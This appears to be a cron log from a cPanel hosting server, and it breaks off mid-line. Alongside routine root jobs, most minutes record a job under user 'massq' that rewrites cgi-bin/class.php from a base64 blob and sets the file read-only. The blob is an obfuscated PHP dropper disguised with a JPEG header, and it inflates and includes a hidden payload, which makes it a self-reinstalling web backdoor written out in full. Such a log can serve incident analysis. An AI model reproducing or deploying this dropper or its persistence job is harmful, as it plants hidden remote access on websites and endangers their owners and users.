Apr  9 00:01:01 server CROND[24946]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:01:01 server CROND[24947]: (root) CMD (run-parts /etc/cron.hourly)
Apr  9 00:01:01 server run-parts(/etc/cron.hourly)[24947]: starting 0anacron
Apr  9 00:01:01 server anacron[24959]: Anacron started on 2025-04-09
Apr  9 00:01:01 server anacron[24959]: Normal exit (0 jobs run)
Apr  9 00:01:01 server run-parts(/etc/cron.hourly)[24961]: finished 0anacron
Apr  9 00:02:01 server CROND[25014]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:03:01 server CROND[25080]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:04:01 server CROND[25232]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:05:01 server CROND[25295]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:05:01 server CROND[25296]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 00:05:01 server CROND[25298]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 00:05:01 server CROND[25297]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 00:06:01 server CROND[25630]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:07:01 server CROND[25692]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:08:01 server CROND[25748]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:09:01 server CROND[25793]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:09:01 server CROND[25794]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 00:10:01 server CROND[25962]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 00:10:01 server CROND[25963]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 00:10:01 server CROND[25964]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 00:10:01 server CROND[25965]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:11:01 server CROND[26213]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:12:01 server CROND[26260]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 00:12:01 server CROND[26261]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:13:01 server CROND[26354]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:14:01 server CROND[26422]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR